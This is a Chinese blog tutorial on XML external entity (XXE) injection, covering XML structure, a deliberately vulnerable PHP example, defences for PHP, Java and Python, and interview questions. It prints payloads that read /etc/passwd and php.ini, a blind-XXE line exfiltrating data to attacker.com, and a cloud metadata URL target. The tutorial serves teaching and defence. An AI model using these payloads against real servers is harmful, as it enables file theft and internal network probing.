news 2026/8/28 11:27:48

一文详解渗透测试之XEE外部实体注入—漏洞原理、攻击手法、xml语言结构、防御手法保姆级教程!

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一文详解渗透测试之XEE外部实体注入—漏洞原理、攻击手法、xml语言结构、防御手法保姆级教程!

文章目录

      • 原理
        • XXE 攻击的核心原理
      • XML 语言解释
        • 什么是 XML 语言
          • XML 的特点
          • XML 与 XXE 的关系
      • 以 PHP 举例 XML 外部实体注入
        • 示例代码(存在漏洞)
        • 攻击 Payload
        • 执行过程
        • 输出结果(假设 Linux 服务器)
      • XML 语言结构
        • 文档结构包含以下三个部分
        • DTD 中的实体声明
        • 攻击代码(DTD Payload)
      • 面试题目
      • XXE 漏洞修复与防御
        • 如何寻找 XXE 漏洞
        • 修复与防御方法
        • 1\. XXE 漏洞的检测工具
        • 2\. 真实案例
        • 3\. 最新技术趋势(2025 年)
      • 一、网络安全(黑客)学习路线
      • 二、网络安全教程视频
      • **三、网络安全CTF实战案例**
      • 四、网络安全面试题

原理

XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击技术。攻击者通过构造恶意的 XML 输入,利用 XML 解析器对外部实体的支持,执行非预期的操作,例如读取本地文件、发起网络请求或执行系统命令。

XXE 攻击的核心原理
  1. XML 外部实体引用:XML 支持定义外部实体(External Entity),通过SYSTEMPUBLIC关键字引用外部资源(如文件或 URL)。

  2. 解析器未限制外部实体:如果 XML 解析器未禁用外部实体加载,攻击者可通过注入恶意实体,触发解析器访问受控资源。

  3. 危害性

    • 文件泄露:读取服务器敏感文件(如/etc/passwd)。

    • 拒绝服务(DoS):利用实体递归定义(如 Billion Laughs 攻击)耗尽资源。

    • 内网探测:通过构造请求访问内网资源。

    • 命令执行(高级场景):结合特定协议(如gopher)触发命令。

扩展知识点

  • 最新趋势:2025 年,随着云服务的普及,XXE 攻击常用于云配置文件的泄露(如 AWS 的metadata接口)。

  • 变种攻击:如 Blind XXE(无回显场景),通过带外通道(OOB)提取数据。


XML 语言解释

什么是 XML 语言

XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言,设计目标是结构化、可读性强且跨平台兼容。XML 不像 HTML 专注于显示,而是更注重数据的语义和结构。

XML 的特点
  1. 自定义标签:用户可根据需求定义标签(如<user>name)。

  2. 层次结构:通过嵌套形成树状结构,便于解析。

  3. 可扩展性:支持通过 DTD 或 Schema 定义数据规则。

  4. 实体支持:内置实体机制,用于引用外部或内部数据。

XML 与 XXE 的关系
  • XXE 漏洞源于 XML 的实体引用功能,尤其是外部实体(External Entity)。

  • 如果应用程序未正确配置 XML 解析器,攻击者可利用实体注入恶意代码。

扩展知识点

  • XML 的历史:1998 年由 W3C 标准化,广泛应用于 Web 服务(如 SOAP、REST API)。

  • 与 JSON 的对比:JSON 更轻量,但不支持实体定义,因此无 XXE 风险。


以 PHP 举例 XML 外部实体注入

PHP 是 Web 开发中常用的语言,其 XML 解析库(如SimpleXMLDOMDocument)如果未正确配置,容易遭受 XXE 攻击。以下是一个典型的 PHP XXE 漏洞示例。

示例代码(存在漏洞)
<?php $xml = file\_get\_contents("php://input"); // 接收用户输入的 XML $doc = new DOMDocument(); $doc->loadXML($xml); // 解析 XML,未禁用外部实体 echo $doc->textContent; // 输出解析结果 ?>
攻击 Payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root \[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> \]> <root>&xxe;</root>
执行过程
  1. 攻击者通过 POST 请求发送上述 Payload。

  2. PHP 的DOMDocument解析 XML 时,触发外部实体xxe,读取/etc/passwd文件。

  3. 服务器返回文件内容,泄露敏感信息。

输出结果(假设 Linux 服务器)
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...

扩展知识点

  • PHP 环境下的其他解析器

    • SimpleXMLElement:默认启用外部实体。

    • XMLReader:需手动禁用实体加载。

  • 高级利用

    • 读取 PHP 配置文件:<!ENTITY xxe SYSTEM "file:///etc/php.ini">

    • 结合php://filter<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">,将文件内容转为 Base64 编码输出。


XML 语言结构

XML 的结构由以下核心部分组成,XXE 攻击主要利用其中的 DTD(文档类型定义)部分。

文档结构包含以下三个部分
  1. XML 声明

    • 示例:<?xml version="1.0" encoding="UTF-8"?>

    • 作用:定义 XML 版本和字符编码。

  2. DTD(文档类型定义)

    • 定义文档的结构和规则,支持实体声明。

    • 类型:

      • 内部声明 DTD

        <!DOCTYPE root \[ <!ELEMENT root (#PCDATA)> \]>
      • 引用外部 DTD

        <!DOCTYPE root SYSTEM "external.dtd"> <!DOCTYPE root PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3. 文档元素

    • 示例:<root><child>Data</child></root>

    • 作用:承载具体数据。

DTD 中的实体声明

实体是 XML 中用于定义可重用内容的机制,XXE 攻击主要利用外部实体。

  • 内部声明实体

    <!ENTITY name "lady\_killer9">
    • 调用:<root>&name;</root>,输出lady_killer9
  • 引用外部实体

    <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe PUBLIC "-//W3C//ENT" "http://example.com/data.txt">
    • 调用:<root>&xxe;</root>,触发外部资源加载。

攻击代码(DTD Payload)

以下是常见的 XXE Payload,用于读取文件:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root \[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> \]> <root>&xxe;</root>

扩展知识点

  • 参数实体

    <!DOCTYPE root \[ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY data "%xxe;"> \]> <root>&data;</root>
    • 作用:参数实体(以%开头)只能在 DTD 内部引用,常用于复杂攻击。
  • 最新利用:利用data:协议加载 Base64 编码内容,避免直接文件路径:

    <!ENTITY xxe SYSTEM "data:text/plain;base64,SGVsbG8gV29ybGQ=">

面试题目

以下是常见的 XXE 漏洞相关面试题目及其解答,帮助您在面试中脱颖而出。

  1. 什么是 XXE 漏洞?其原理是什么?

    • 答:XXE 是 XML 外部实体注入漏洞,原理是攻击者通过构造恶意 XML,利用解析器加载外部实体,执行文件读取等操作。
  2. 如何检测一个系统是否存在 XXE 漏洞?

    • 答:抓包分析请求头(如Accept: application/xml),修改数据格式为 XML,注入测试 Payload(如<!ENTITY xxe SYSTEM "file:///etc/passwd">),观察响应。
  3. XXE 的危害有哪些?如何防御?

    • 答:危害包括文件泄露、DoS、内网探测;防御方法包括禁用外部实体、升级解析库、使用白名单过滤。

扩展题目

  • Blind XXE 如何利用?

    • 答:通过带外通道(OOB)发送数据,如:

      <!ENTITY % xxe SYSTEM "http://attacker.com/?data=%payload;">

XXE 漏洞修复与防御

如何寻找 XXE 漏洞
  1. 抓包检查 Accept 头

    • 查看服务器是否接受application/xmltext/xml

    • 工具:Burp Suite。

  1. 修改数据类型

    • 将 JSON 请求改为 XML(如Content-Type: application/xml),注入 Payload 测试。

    • 示例:

      POST /api HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?><!DOCTYPE root \[<!ENTITY xxe SYSTEM "file:///etc/passwd">\]><root>&xxe;</root>
修复与防御方法
  1. 提高版本

    • 使用最新版本的 XML 解析库,避免已知漏洞。
  2. 代码修复

    • PHP

      libxml\_disable\_entity\_loader(true); // 禁用外部实体加载 $doc = new DOMDocument(); $doc->loadXML($xml);
    • Java

      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); // 禁用实体扩展 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用 DTD dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    • Python

      from lxml import etree parser = etree.XMLParser(resolve\_entities=False) # 禁用实体解析 xmlData = etree.parse("input.xml", parser)
  3. 手动黑名单过滤(不推荐)

    • 过滤关键词:<!DOCTYPE<!ENTITYSYSTEMPUBLIC

    • 局限性:易被绕过(如大小写变种、编码绕过)。

扩展防御

  • WAF(Web 应用防火墙):配置规则拦截恶意 XML 输入。

  • 沙箱隔离:在沙箱中解析 XML,限制文件访问。

  • 最新趋势:结合 AI 检测异常 XML 流量,提升防御效果。

1. XXE 漏洞的检测工具
  • Burp Suite:通过 Intruder 模块发送 Payload 测试。

  • XXEinjector:自动化检测工具,支持 Blind XXE。

    python xxeinjector.py -u http://target.com/api -p payload.xml
2. 真实案例
  • 某 CMS 系统 XXE 漏洞

    • 漏洞点:上传 XML 文件的接口未禁用外部实体。

    • Payload:读取/etc/passwd并通过 OOB 返回。

    • 修复:升级解析库,禁用 DTD。

3. 最新技术趋势(2025 年)
  • 云环境下的 XXE:攻击者利用 XXE 读取云实例元数据(如http://169.254.169.254/latest/meta-data/)。

  • AI 检测与对抗:杀软使用机器学习识别 XXE Payload,红队则通过对抗性样本绕过。


以上就是今天的分享,觉得有帮助,记得点赞+收藏,以上所说到的漏洞扫描工具都整理成压缩包了,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

同时还为准备学习网络安全(黑客)或者正在学习,整理了一套360独家内部资料,包含以下内容,如有需要也可文末获取:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/28 11:22:20

算法竞赛图论实战:从Dijkstra到Tarjan的个人模板精讲

1. 项目概述&#xff1a;一份来自赛场的图论实战指南 如果你正在备战蓝桥杯这类算法竞赛&#xff0c;或者想系统性地提升自己的图论解题能力&#xff0c;那么这份“个人模板”的分享&#xff0c;或许正是你需要的。这不是一份教科书式的理论罗列&#xff0c;而是我从第十二届蓝…

作者头像 李华
网站建设 2026/8/28 11:21:52

告别网络八股文:从TCP握手到抓包实战排障

搞网络这行快十年了&#xff0c;最怕的不是半夜三点被叫起来处理机房告警&#xff0c;而是那种“背了三天八股文就来面网络岗”的候选人。问他TCP三次握手&#xff0c;能给你把SYN、ACK背得一字不差&#xff1b;可把他拉到测试环境&#xff0c;丢包都摆脸上了&#xff0c;他连网…

作者头像 李华
网站建设 2026/8/28 11:21:16

从最短路径到神经网络:数学建模思维进阶与动态路径规划实战

1. 从“最短距离”到“神经网络”&#xff1a;一个建模思维的跃迁 最近在整理数学建模的学习笔记&#xff0c;翻到“最短距离”和“BP神经网络”这两个主题时&#xff0c;感触颇深。乍一看&#xff0c;一个是经典的图论优化问题&#xff0c;一个是现代的人工智能算法&#xff0…

作者头像 李华
网站建设 2026/8/28 11:19:57

动态规划建模实战:从核心思想到代码实现与避坑指南

1. 从“走迷宫”到“最优路径”&#xff1a;动态规划的核心思想 最近在带学生做数学建模竞赛&#xff0c;发现很多同学一遇到多阶段决策问题&#xff0c;比如资源分配、生产计划、最短路径优化&#xff0c;第一反应就是上启发式算法或者机器学习。这当然没错&#xff0c;但往往…

作者头像 李华
网站建设 2026/8/28 11:18:33

如何用 markitdown 把 EPUB 批量转成 Markdown 笔记

如何用 markitdown 把 EPUB 批量转成 Markdown 笔记 【免费下载链接】markitdown Python tool for converting files and office documents to Markdown. 项目地址: https://gitcode.com/GitHub_Trending/ma/markitdown 你手头有一批 .epub 电子书&#xff0c;想在 Obsi…

作者头像 李华
网站建设 2026/8/28 11:17:58

积分商城小程序源码部署全流程:从环境搭建到安全上线

简介&#xff1a;积分系统作为会员忠诚度与用户激励体系的核心技术组件&#xff0c;其原理在于通过数字化的点数记录与兑换规则&#xff0c;将用户行为与价值回馈进行绑定。在技术实现上&#xff0c;积分体系通常构建于数据库事务与业务逻辑层之上&#xff0c;确保数据一致性&a…

作者头像 李华